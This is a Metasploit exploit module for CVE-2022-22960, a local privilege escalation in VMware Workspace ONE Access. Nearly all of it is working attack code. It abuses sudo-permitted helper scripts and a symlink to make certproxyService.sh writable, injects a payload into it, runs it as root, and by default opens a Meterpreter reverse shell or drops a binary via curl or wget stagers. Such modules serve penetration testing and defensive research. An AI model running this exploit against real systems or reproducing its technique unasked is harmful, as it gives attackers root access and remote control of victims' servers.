VMware Workspace ONE Access Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Unix  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
TARGET_FILE = '/opt/vmware/certproxy/bin/certproxyService.sh'.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'VMware Workspace ONE Access CVE-2022-22960',  
'Description' => %q{  
This module exploits CVE-2022-22960 which allows the user to overwrite the permissions of the  
certproxyService.sh script so that it can be modified by the horizon user. This allows a local attacker with  
the uid 1001 to escalate their privileges to root access.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'mr_me', # Discovery & PoC  
'jheysel-r7' # Metasploit Module  
],  
'Platform' => [ 'linux', 'unix' ],  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => %i[curl wget],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'References' => [  
[ 'CVE', '2022-22960' ],  
['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],  
['URL', 'https://github.com/sourceincite/hekate/'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']  
],  
'DisclosureDate' => '2022-04-06',  
'Notes' => {  
# We're corrupting certproxyService.sh, if restoring the contents fails it won't work.  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def lpe_trigger(execute_payload)  
cert_filename = Rex::Text.rand_text_alpha(4..12)  
file_contents = <<~EOF  
#!/bin/bash  
cp #{TARGET_FILE} #{datastore['WritableDir']}/#{@certproxy_backup}  
sudo /usr/local/horizon/scripts/publishCaCert.hzn #{TARGET_FILE} #{cert_filename}  
mkdir #{cert_filename}  
ln -s #{TARGET_FILE} #{cert_filename}/debugConfig.txt  
sudo /usr/local/horizon/scripts/gatherConfig.hzn #{cert_filename}  
rm -rf #{cert_filename}  
chmod 755 #{TARGET_FILE}  
echo "mv /etc/ssl/certs/#{cert_filename} #{TARGET_FILE}" > #{TARGET_FILE}  
echo "chown root:root #{TARGET_FILE}" >> #{TARGET_FILE}  
echo "chmod 640 #{TARGET_FILE}" >> #{TARGET_FILE}  
echo "#{execute_payload}" >> #{TARGET_FILE}  
echo "mv #{datastore['WritableDir']}/#{@certproxy_backup} #{TARGET_FILE} && chmod 500 #{TARGET_FILE} && chown root:root #{TARGET_FILE}" >> #{TARGET_FILE}#{' '}  
sudo #{TARGET_FILE}  
EOF  
file_contents  
end  
  
def check  
unless whoami == 'horizon'  
return CheckCode::Safe('Not running as the horizon user.')  
end  
  
test = cmd_exec("sudo #{TARGET_FILE}")  
unless test.include? 'basename: missing operand'  
CheckCode::Safe  
end  
  
CheckCode::Appears('vulnerable')  
end  
  
def exploit  
@certproxy_backup = Rex::Text.rand_text_alpha(4..12)  
payload_filename = Rex::Text.rand_text_alpha(4..12) + '.sh'  
trigger_filename = Rex::Text.rand_text_alpha(4..12) + '.sh'  
  
case target['Type']  
when :unix_cmd  
execute_payload = payload.encoded  
when :linux_dropper  
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"  
upload_and_chmodx(payload_path, generate_payload_exe)  
execute_payload = "#{datastore['WritableDir']}/#{payload_filename}"  
register_file_for_cleanup(payload_path)  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
  
lpe_trigger_data = lpe_trigger(execute_payload)  
  
upload_and_chmodx("#{datastore['WritableDir']}/#{trigger_filename}", lpe_trigger_data)  
register_file_for_cleanup("#{datastore['WritableDir']}/#{trigger_filename}")  
  
print_status('Triggering the payload...')  
cmd_exec("cd #{datastore['WritableDir']}; ./#{trigger_filename}")  
end  
end  
`